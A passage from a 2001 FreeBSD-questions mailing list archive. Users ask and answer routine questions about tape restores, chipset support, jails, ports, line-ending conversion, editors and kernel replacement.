Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Is there a way to set a folders maximum size, to keep people from storing more information than I am willing to allow? To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 18: 1:12 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mail.nbrewer.com (sparge.nbrewer.com [208.42.68.70]) by hub.freebsd.org (Postfix) with ESMTP id 85A2337B416; Mon, 19 Nov 2001 18:01:08 -0800 (PST) Received: by mail.nbrewer.com (Postfix, from userid 1001) id C48B74B7195; Mon, 19 Nov 2001 20:01:01 -0600 (CST) Date: Mon, 19 Nov 2001 20:01:00 -0600 From: Christopher Farley To: Greg Lehey Cc: questions@freebsd.org Subject: Re: Slow restores on a DLT4000 Message-ID: <20011119200058.B92015@northernbrewer.com> Mail-Followup-To: Christopher Farley , Greg Lehey , questions@freebsd.org References: <20011119150711.A7781@northernbrewer.com> <20011120115256.H76318@monorchid.lemis.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20011120115256.H76318@monorchid.lemis.com>; from grog@FreeBSD.org on Tue, Nov 20, 2001 at 11:52:56AM +1030 Organization: Northern Brewer, St. Paul, MN Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Greg Lehey (grog@FreeBSD.org) wrote: > On Monday, 19 November 2001 at 15:07:13 -0600, Christopher Farley wrote: > > I am a new owner of a pair of DLT4000 drives. I've been testing them > > using dump and restore. > > > > I get fairly good throughput on dumps; about 1.6 megs/second, which > > seems similar to 'average' expectations that have been published. > > During a dump, the drive does not stream, but runs, stops, rewinds, > > runs, stops, rewinds... My thinking is that the tape drive is able to > > write to a tape faster than my platters can provide the bits. > > Hmm. I have one of these drives too, and I see data rates of up to 3 > MB/s. Are you using compression? The drive's hardware compression is enabled. My drives are not SCSI, but IDE drives on an ATA/100 bus. With DAT, it's been my experience that hardware compression speeds things up significantly. I have not yet tried benchmarking my DLT4000 with hw compression off, but I plan to. > > Restoring data off a level 0 dump takes about twice as long as the dump > > itself, and it also fails to stream. > > This is almost certainly due to the metadata updates. Soft updates > will help, but basically the disk is becoming the bottleneck. Oh yeah, soft updates are not enabled, but I plan to fix that soon. And a `restore -N` (with no disk writes -- don't know about metadata updates) takes just as long as a regular restore. > > Also, it takes just as long to retrieve a few files off of a dump as > > it does to restore an entire dump. > > Well, I suspect it seems that way. In fact, it should be able to > stream up to where it finds the files, so it should be a little > faster. Throughout the restore it reads the tape, stops, rewinds, starts up again... It reads for maybe 5-6 seconds max. This occurs on both of my DLT4000s. It takes about 4 hours to get one file off the end of a 20 Gig level 0 dump. > > It seems like the drive simply reads the tape sequentially, and if > > it sees a file I've marked, it writes it to the disk. Consequently, > > if the file is at the end of the tape, it will take 4 hours to find > > the file on a 20 Gig dump. > > Yes, that's correct. The obvious choice here is to make several > smaller dumps and then search to the beginning of the dump, which is > much faster (a minute or two maximum). I've been doing my dump/restores off of a very large filesystem, and I plan to reconfigure my setup to make smaller slices. Forutnately, I've got a nice tape drive to help me do this... -- Christopher Farley www.northernbrewer.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 18:12:45 2001 Delivered-To: freebsd-questions@freebsd.org Received: from nyc.rr.com (nycsmtp3fa.rdc-nyc.rr.com [24.29.99.79]) by hub.freebsd.org (Postfix) with ESMTP id 9E35A37B41A for ; Mon, 19 Nov 2001 18:12:43 -0800 (PST) Received: from scott1.nyc.rr.com ([24.168.25.8]) by nyc.rr.com with Microsoft SMTPSVC(5.5.1877.537.53); Mon, 19 Nov 2001 17:41:58 -0500 Message-Id: <5.1.0.14.0.20011119174026.00bcb430@pop-server.nyc.rr.com> X-Sender: scottro@pop-server.nyc.rr.com X-Mailer: QUALCOMM Windows Eudora Version 5.1 Date: Mon, 19 Nov 2001 17:41:56 -0500 To: Herbert , freebsd-questions@FreeBSD.ORG From: Scott Subject: Re: Elitegroup K7S5A - SIS 735 chipset In-Reply-To: <20011119231456.A2200@TK212017121218.teleweb.at> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG At 23:14 2001/11/19 +0100, Herbert wrote: >Hei! > >Is the K7S5A mainboard and the SIS 735 chipset supported by FreeBSD >4.4-STABLE? What about the onboard ide controller? Can I run my hard >disks in udma66 or udma100 mode? >Any known problems with this mainboard and FreeBSD? I'm running it on an Sis735 with no problems that I've come across yet (only got this box recently, and haven't stressed it at all). As for the UDMA--make sure you have at least ATA 33/66 80 pin shielded cable, or you will probably get can't read UDMA, dropping back to PIO errors on bootup. Hope this helps a bit Scott Robbins To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 18:17:22 2001 Delivered-To: freebsd-questions@freebsd.org Received: from fepC.post.tele.dk (fepC.post.tele.dk [195.41.46.147]) by hub.freebsd.org (Postfix) with ESMTP id 3592A37B41A for ; Mon, 19 Nov 2001 18:16:53 -0800 (PST) Received: from Mikkel ([62.242.11.26]) by fepC.post.tele.dk (InterMail vM.4.01.03.23 201-229-121-123-20010418) with SMTP id <20011120021651.OIJR11568.fepC.post.tele.dk@Mikkel> for ; Tue, 20 Nov 2001 03:16:51 +0100 Received: from Mikkel (localhost [127.0.0.1]) by Mikkel (Weasel v1.20) for ; 20 Nov 2001 03:16:34 Message-ID: <3BF9BD01.1DD5@post5.tele.dk> Date: Tue, 20 Nov 2001 03:16:33 +0100 From: "Mikkel C. Simonsen" Organization: Dantimax X-Mailer: Mozilla 3.0 (OS/2; I) MIME-Version: 1.0 To: questions@FreeBSD.ORG Subject: Re: Elitegroup K7S5A - SIS 735 chipset References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG > Date: Mon, 19 Nov 2001 14:34:16 -0800 > From: Kent Stewart > Subject: Re: Elitegroup K7S5A - SIS 735 chipset > > Herbert wrote: > > > Hei! > > > > Is the K7S5A mainboard and the SIS 735 chipset supported by FreeBSD > > 4.4-STABLE? What about the onboard ide controller? Can I run my hard > > disks in udma66 or udma100 mode? > > No, only UDMA33. The networking isn't supported. Isn't the networking supported by the sis driver? For other OSes you use the SiS900 driver - and the SiS900 should be supported by the sis driver. Does the kernel find the lan chip? Best regards, Mikkel C. Simonsen To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 18:23: 9 2001 Delivered-To: freebsd-questions@freebsd.org Received: from pioneernet.net (mail.pioneernet.net [207.115.64.224]) by hub.freebsd.org (Postfix) with ESMTP id CBA6337B405 for ; Mon, 19 Nov 2001 18:23:07 -0800 (PST) Received: from chip.wiegand.org [66.114.152.128] by pioneernet.net (SMTPD32-6.06) id AE941A46011A; Mon, 19 Nov 2001 18:23:16 -0800 Content-Type: text/plain; charset="iso-8859-1" From: Chip To: Dennis Logan , freebsd-questions@freebsd.org Subject: Re: home pc use Date: Mon, 19 Nov 2001 18:31:24 -0800 X-Mailer: KMail [version 1.2] References: <3BF9B12B.3D521A4D@nycap.rr.com> In-Reply-To: <3BF9B12B.3D521A4D@nycap.rr.com> MIME-Version: 1.0 Message-Id: <0111191831240Q.60958@chip.wiegand.org> Content-Transfer-Encoding: 8bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Monday 19 November 2001 17:26, Dennis Logan wrote: > Hi, > Can i use this operating system instead of win98 on my pc? > dennis Absolutely! I made the change a couple years ago. It's been a great learning experience. That's the key - you have to have the attitude that you're going into this to learn something new, not just point and click your way around and never really know whats going on. Visit http://www.freebsd.org and others and learn as much as possible before diving in, then you'll be able to make the right decistion, whether or not FBSD is for you. -- Chip W. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 18:28:40 2001 Delivered-To: freebsd-questions@freebsd.org Received: from tomts7-srv.bellnexxia.net (tomts7.bellnexxia.net [209.226.175.40]) by hub.freebsd.org (Postfix) with ESMTP id 77BA737B419 for ; Mon, 19 Nov 2001 18:28:38 -0800 (PST) Received: from prayforwind.com ([199.243.128.11]) by tomts7-srv.bellnexxia.net (InterMail vM.4.01.03.16 201-229-121-116-20010115) with ESMTP id <20011120022836.ENPU9080.tomts7-srv.bellnexxia.net@prayforwind.com> for ; Mon, 19 Nov 2001 21:28:36 -0500 Received: (from gtabug@localhost) by prayforwind.com (8.11.6/8.11.6) id fAK2cBK04097 for freebsd-questions@freebsd.org; Mon, 19 Nov 2001 21:38:12 -0500 (EST) (envelope-from gtabug) Date: Mon, 19 Nov 2001 21:38:11 -0500 From: Steve Brown To: freebsd-questions@freebsd.org Subject: Updating software in ports Message-ID: <20011119213811.A4082@prayforwind.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hello all, Ok, I have linux-netscape47-communicator (4.78) installed from ports. Now 4.79 is out and only change seems to be "Makefile" so I've downloaded it to my /usr/ports/www/linux-netscape47-communicator directory with a different name. Should I a) just rename it to Makefile, make && make install, or b) make deinstall, rename it, make && make install, or c) make deinstall, rename it, make && make reinstall, or d) something else entirely? Appreciate the help, thanks Cheers, Steve To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 18:43:12 2001 Delivered-To: freebsd-questions@freebsd.org Received: from backup.dagupan.com (www.psysc.org.ph [206.101.69.5]) by hub.freebsd.org (Postfix) with ESMTP id 75CF737B416 for ; Mon, 19 Nov 2001 18:43:09 -0800 (PST) Received: by apmail.dagupan.com with Internet Mail Service (5.5.2653.19) id ; Tue, 20 Nov 2001 10:43:08 +0800 Message-ID: <10F29E27A956D511B0940050DA8D86A9340BAA@apmail.dagupan.com> From: francisv@dagupan.com To: freebsd-questions@freebsd.org Subject: Help with setting up jail Date: Tue, 20 Nov 2001 10:42:59 +0800 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hi, This is my first time to configure a jailed environment on FreeBSD 4.4-STABLE. I have read the `man jail(8)' and successfully installed the jail directory tree: D=/here/is/the/jail cd /usr/src make world DESTDIR=$D cd etc make distribution DESTDIR=$D NO_MAKEDEV=yes cd $D/dev sh MAKEDEV jail cd $D ln -sf dev/null kernel But once inside the jail environment, I could not ping nor contact the outside world (even the parent environment). It displays an error: ping: socket: Operation not permitted How can I install other packages if I can't even ping the parent host? To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 18:53: 4 2001 Delivered-To: freebsd-questions@freebsd.org Received: from tomts17-srv.bellnexxia.net (tomts17.bellnexxia.net [209.226.175.71]) by hub.freebsd.org (Postfix) with ESMTP id 0CD7437B405 for ; Mon, 19 Nov 2001 18:53:01 -0800 (PST) Received: from prayforwind.com ([199.243.128.11]) by tomts17-srv.bellnexxia.net (InterMail vM.4.01.03.16 201-229-121-116-20010115) with ESMTP id <20011120025300.UUUD16532.tomts17-srv.bellnexxia.net@prayforwind.com>; Mon, 19 Nov 2001 21:53:00 -0500 Received: (from gtabug@localhost) by prayforwind.com (8.11.6/8.11.6) id fAK32hD00299; Mon, 19 Nov 2001 22:02:43 -0500 (EST) (envelope-from gtabug) Date: Mon, 19 Nov 2001 22:02:43 -0500 From: Steve Brown To: Chip Cc: questions@freebsd.org Subject: Re: home pc use Message-ID: <20011119220243.A268@prayforwind.com> References: <3BF9B12B.3D521A4D@nycap.rr.com> <0111191831240Q.60958@chip.wiegand.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <0111191831240Q.60958@chip.wiegand.org>; from chip@wiegand.org on Mon, Nov 19, 2001 at 06:31:24PM -0800 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG If you're tired of Windows crashing you sure can! Or you can have Windows on 1 drive or partition and FreeBSD on the other (Like I must, my wife must use MS Office). And unfortunately, MS has the best browser out there (IE5.5) which runs only on windows, another reason you may want to keep a Windows partition around. Cheers, Steve On Mon, Nov 19, 2001 at 06:31:24PM -0800, Chip wrote: > On Monday 19 November 2001 17:26, Dennis Logan wrote: > > Hi, > > Can i use this operating system instead of win98 on my pc? > > dennis > > Absolutely! I made the change a couple years ago. It's been a great > learning experience. That's the key - you have to have the attitude > that you're going into this to learn something new, not just point and > click your way around and never really know whats going on. > > Visit http://www.freebsd.org and others and learn as much as possible > before diving in, then you'll be able to make the right decistion, whether > or not FBSD is for you. > > -- > Chip W. > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 18:58:58 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mail.wolves.k12.mo.us (mail.wolves.k12.mo.us [207.160.214.1]) by hub.freebsd.org (Postfix) with ESMTP id 2316E37B405; Mon, 19 Nov 2001 18:58:55 -0800 (PST) Received: from mail.wolves.k12.mo.us (cdillon@mail.wolves.k12.mo.us [207.160.214.1]) by mail.wolves.k12.mo.us (8.9.3/8.9.3) with ESMTP id UAA13752; Mon, 19 Nov 2001 20:58:45 -0600 (CST) (envelope-from cdillon@wolves.k12.mo.us) Date: Mon, 19 Nov 2001 20:58:45 -0600 (CST) From: Chris Dillon To: Christopher Farley Cc: Greg Lehey , Subject: Re: Slow restores on a DLT4000 In-Reply-To: <20011119200058.B92015@northernbrewer.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Mon, 19 Nov 2001, Christopher Farley wrote: > Oh yeah, soft updates are not enabled, but I plan to fix that > soon. And a `restore -N` (with no disk writes -- don't know about > metadata updates) takes just as long as a regular restore. It sounds like you aren't using a large enough block size. The documentation for your drive should mention a minimal block size to use to be able to stream data constantly. I think it is at least 32KB for most DLT drives. IIRC, I'm using a 64KB or 128KB block size on my DLT1 at work (albeit with Windows NT). Running systat -vmstat and watching sa0 in the "Disks" section will tell you what block size is actually being used. -- Chris Dillon - cdillon@wolves.k12.mo.us - cdillon@inter-linc.net FreeBSD: The fastest and most stable server OS on the planet - Available for IA32 (Intel x86) and Alpha architectures - IA64, PowerPC, UltraSPARC, and ARM architectures under development - http://www.freebsd.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 19:28:38 2001 Delivered-To: freebsd-questions@freebsd.org Received: from rutger.owt.com (rutger.owt.com [204.118.6.16]) by hub.freebsd.org (Postfix) with ESMTP id D458C37B41A for ; Mon, 19 Nov 2001 19:28:27 -0800 (PST) Received: from owt.com (owt-207-41-94-232.owt.com [207.41.94.232]) by rutger.owt.com (8.9.3/8.9.3) with ESMTP id TAA15320; Mon, 19 Nov 2001 19:28:25 -0800 Message-ID: <3BF9CDD8.1000700@owt.com> Date: Mon, 19 Nov 2001 19:28:24 -0800 From: Kent Stewart User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:0.9.4) Gecko/20011019 Netscape6/6.2 X-Accept-Language: en-us MIME-Version: 1.0 To: "Mikkel C. Simonsen" Cc: questions@FreeBSD.ORG Subject: Re: Elitegroup K7S5A - SIS 735 chipset References: <3BF9BD01.1DD5@post5.tele.dk> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Mikkel C. Simonsen wrote: >>Date: Mon, 19 Nov 2001 14:34:16 -0800 >>From: Kent Stewart >>Subject: Re: Elitegroup K7S5A - SIS 735 chipset >> >>Herbert wrote: >> >> >>>Hei! >>> >>>Is the K7S5A mainboard and the SIS 735 chipset supported by FreeBSD >>>4.4-STABLE? What about the onboard ide controller? Can I run my hard >>>disks in udma66 or udma100 mode? >>> >>No, only UDMA33. The networking isn't supported. >> > > Isn't the networking supported by the sis driver? For other OSes you use > the SiS900 driver - and the SiS900 should be supported by the sis > driver. Does the kernel find the lan chip? The kernel finds the SiS900 but it has a new PHY in it and the sis driver doesn't recognize it. I was sent some patches but they didn't work and the maintainer didn't have access to a SiS-735 based mb. The messages are sis0: port 0xb800-0xb8ff mem 0xcffcd000-0xcffcdfff irq 5 at device 3.0 on pci0 sis0: Ethernet address: 00:00:00:00:00:00 sis0: MII without any PHY! device_probe_and_attach: sis0 attach returned 6 Kent > > Best regards, > > Mikkel C. Simonsen > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message > > . > > -- Kent Stewart Richland, WA mailto:kbstew99@hotmail.com http://users.owt.com/kstewart/index.html FreeBSD News http://daily.daemonnews.org/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 19:57:26 2001 Delivered-To: freebsd-questions@freebsd.org Received: from skinhorse.quelleinc.com (sub19-65.member.dsl-only.net [63.105.19.65]) by hub.freebsd.org (Postfix) with ESMTP id E08F937B416 for ; Mon, 19 Nov 2001 19:57:20 -0800 (PST) Received: from Pizan (dsl-209-162-216-4.easystreet.com [209.162.216.4]) by skinhorse.quelleinc.com (Post.Office MTA v3.5.3 release 223 ID# 0-12345L500S10000V35) with SMTP id com for ; Mon, 19 Nov 2001 19:47:42 -0800 From: "Ben Witkowski" To: Subject: Dos2Unix Date: Mon, 19 Nov 2001 19:59:54 -0800 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Importance: Normal Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG most unix systems have a dos2unix utility that removes the trailing ^M characters from each line. is there a comprable tool for FreeBSD, or does anyone know where to find the binaries (or a script) to do the job? To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 20: 6:32 2001 Delivered-To: freebsd-questions@freebsd.org Received: from web11608.mail.yahoo.com (web11608.mail.yahoo.com [216.136.172.60]) by hub.freebsd.org (Postfix) with SMTP id 0031737B405 for ; Mon, 19 Nov 2001 20:06:29 -0800 (PST) Message-ID: <20011120040629.73884.qmail@web11608.mail.yahoo.com> Received: from [202.94.0.21] by web11608.mail.yahoo.com via HTTP; Mon, 19 Nov 2001 20:06:29 PST Date: Mon, 19 Nov 2001 20:06:29 -0800 (PST) From: tang hongbin Subject: How can I add new ESP encryption functions into FreeBSD kernel To: questions@FreeBSD.org MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Dear Sir/Madam; A problem is troubling me in ages. I want to add my encryption algorithm of ESP, an algorithm like DES, into FreeBSD kernel so as to make kernel recognize it. I added its definitions in /usr/src/sys/net/pfkeyv2.h, added specific functions implementation into /usr/src/sys/netinet6/esp.core.c and added a new subdirectory in sys/crypto. Afterwards I rebuild kernel, but system can't recognize my ESP encryption algorithm when I use PF socket to add a new SA into SAD including my new encryption. In a word, please tell me what I should do step by step if I want to add a new ESP encryption algorithm that I have implemented into kernel so that I can use setkey commmand or sock system call to add SAs into SAD and the kernel can use fucntions I provided to encrypt or decrypt incoming or outgoing IP packages. Any your assistance would be greatly appreciated. Sincerelly yours, Tang hongbin __________________________________________________ Do You Yahoo!? Yahoo! GeoCities - quick and easy web site hosting, just $8.95/month. http://geocities.yahoo.com/ps/info1 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 20: 7:26 2001 Delivered-To: freebsd-questions@freebsd.org Received: from smtp03.mrf.mail.rcn.net (smtp03.mrf.mail.rcn.net [207.172.4.62]) by hub.freebsd.org (Postfix) with ESMTP id 2203B37B417 for ; Mon, 19 Nov 2001 20:07:21 -0800 (PST) Received: from 66-44-66-84.s84.tnt7.lnhva.md.dialup.rcn.com ([66.44.66.84] helo=sten.alder.net) by smtp03.mrf.mail.rcn.net with smtp (Exim 3.33 #10) id 1662Br-0001fm-00 for questions@freebsd.org; Mon, 19 Nov 2001 23:07:20 -0500 Received: by sten.alder.net (sSMTP sendmail emulation); Mon, 19 Nov 2001 23:07:02 -0500 Date: Mon, 19 Nov 2001 23:07:02 -0500 From: "Bob Hall" To: questions@freebsd.org Subject: Re: Vi a Joke ? Message-ID: <20011119230702.D640@starpower.net> Mail-Followup-To: Bob Hall , questions@freebsd.org References: <60230366@toto.iv> <15353.34154.70535.751414@guru.mired.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <15353.34154.70535.751414@guru.mired.org>; from mwm@mired.org on Mon, Nov 19, 2001 at 04:19:22PM -0600 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Mon, Nov 19, 2001 at 04:19:22PM -0600, Mike Meyer wrote: > dochawk@psu.edu types: > > David dabbled > > > On Mon, 19 Nov 2001, Kent Stewart wrote: > > > > One point people forget and that is what can you use when you mess up > > > > rc.conf and your system will only boot into single user mode. Learning > > > > vi at that point is a painic :). > > > At that point it is nice to know how to use "ed". :-) > > as I found out the hard way a couple of months ago :) > > vim is on /usr, and if you're hitting single user becuase of a problem > > with /usr, ed is all there is. Fortunately, ed is rather obvious to > > the vi user--I hadn't used it in over 15 years, and did just fine. > > I still use ed regularly. If I'm going to make a one-line change on a > file I know fairly well, vi drawing the full screen is just a waste of > time. I run Xemacs as me for mail, programming, and most other > things. I tend to use vi as root for simple but not trivial > things. For really complex things, I'll edit a copy as me in emacs or > start emacs up. Does that make me trieditorial? > > The article reminded me of a study done at Xerox on editors. They had > one test subject who was something much faster than anyone else, > whereas most others grouped close together, with relatively minor > variations compared to that. Turns out the subject in question was > just typing the correct sequence of commands without worrying about > seeing the results. Hard to beat that. Beat what, the skill or the chutzpa? Bob Hall -- uname -a FreeBSD sten.alder.net 4.3-RELEASE FreeBSD 4.3-RELEASE #0: Tue Sep 18 23:17:39 E DT 2001 bob@sten.alder.net:/usr/src/sys/compile/STEN0 i386 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 20:12:17 2001 Delivered-To: freebsd-questions@freebsd.org Received: from fremont.bolingbroke.com (adsl-216-102-90-210.dsl.snfc21.pacbell.net [216.102.90.210]) by hub.freebsd.org (Postfix) with ESMTP id 6458237B405 for ; Mon, 19 Nov 2001 20:12:13 -0800 (PST) Received: from fremont.bolingbroke.com (fremont.bolingbroke.com [216.102.90.210]) by fremont.bolingbroke.com (8.12.1/8.12.1) with ESMTP id fAK4C920064315; Mon, 19 Nov 2001 20:12:13 -0800 (PST) Date: Mon, 19 Nov 2001 20:12:09 -0800 (PST) From: Ken Bolingbroke To: Gavin Weng Cc: freebsd-questions@FreeBSD.ORG Subject: Re: how to replace the new kernel, not recompile. In-Reply-To: <002001c17163$be745300$0f01a8c0@testing.local> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG To replace the kernel, you need to also use chflags to change the access rights on /kernel, like this: chflags noschg /kernel Ken Bolingbroke hacker@bolingbroke.com On Tue, 20 Nov 2001, Gavin Weng wrote: > Dear Sir, > I won't compile my kernel, I do have customized one already. > But I don't know how to replace my kernel into original one. > When I try to copy my new kernel to original. It always say permission not > allow.. I used "chmod" to change the permission for kernel as root position. It's doesn't work... > Don't know what should I do.. > Please help me.. > > > Thanks > > Gavin > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 20:22:46 2001 Delivered-To: freebsd-questions@freebsd.org Received: from aviion.alfred.cx (aviion.alfred.cx [150.101.93.190]) by hub.freebsd.org (Postfix) with ESMTP id 8A30037B416 for ; Mon, 19 Nov 2001 20:22:43 -0800 (PST) Received: (from andrew@localhost) by aviion.alfred.cx (8.11.3/8.11.3) id fAK4MdX09724; Tue, 20 Nov 2001 14:52:39 +1030 (CST) (envelope-from andrew) Date: Tue, 20 Nov 2001 14:52:39 +1030 From: Andrew Reid To: Ben Witkowski Cc: freebsd-questions@FreeBSD.ORG Subject: Re: Dos2Unix Message-ID: <20011120145239.D775@aviion.alfred.cx> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from ben@alohagrowers.com on Mon, Nov 19, 2001 at 07:59:54PM -0800 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Mon, Nov 19, 2001 at 07:59:54PM -0800, Ben Witkowski wrote: > most unix systems have a dos2unix utility that removes the trailing ^M > characters from each line. is there a comprable tool for FreeBSD, or does > anyone know where to find the binaries (or a script) to do the job? # cd /usr/ports/converters/unix2dos # make # make install - andrew -- Andrew J. Reid "Catapultam habeo. Nisi pecuniam omnem andrew.reid@plug.cx mihi dabis, ad caput tuum saxum immane +61 401 946 813 mittam" To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 20:29:37 2001 Delivered-To: freebsd-questions@freebsd.org Received: from wiproecmx2.wipro.com (wiproecmx2.wipro.com [164.164.31.6]) by hub.freebsd.org (Postfix) with ESMTP id CA45037B418 for ; Mon, 19 Nov 2001 20:29:20 -0800 (PST) Received: from ecvwall1.wipro.com (ecvwall1.wipro.com [164.164.23.6]) by wiproecmx2.wipro.com (8.11.3/8.11.3) with SMTP id fAK4TD527311 for ; Tue, 20 Nov 2001 09:59:15 +0530 (IST) Received: from ecvwall1.wipro.com ([164.164.23.6]) by mailstore.mail.wipro.com (Netscape Messaging Server 4.15) with SMTP id GN30FX00.NA0 for ; Tue, 20 Nov 2001 09:58:45 +0530 Received: from M3HOM103042 ([10.114.5.78]) by m3mail.mail.wipro.com (Netscape Messaging Server 4.15) with SMTP id GN30GE00.97D for ; Tue, 20 Nov 2001 09:59:03 +0530 Message-ID: <001a01c1717d$1ab2f130$4e05720a@M3HOM103042> From: "Venkata Rajesh Velamakanni" To: Subject: Query on sockaddr_in_new data structure Date: Tue, 20 Nov 2001 10:07:47 +0530 Organization: Wipro Ltd. MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="------------InterScan_NT_MIME_Boundary" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4807.1700 Disposition-Notification-To: "Venkata Rajesh Velamakanni" X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4807.1700 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG This is a multi-part message in MIME format. --------------InterScan_NT_MIME_Boundary Content-Type: text/plain; charset="iso-8859-1" 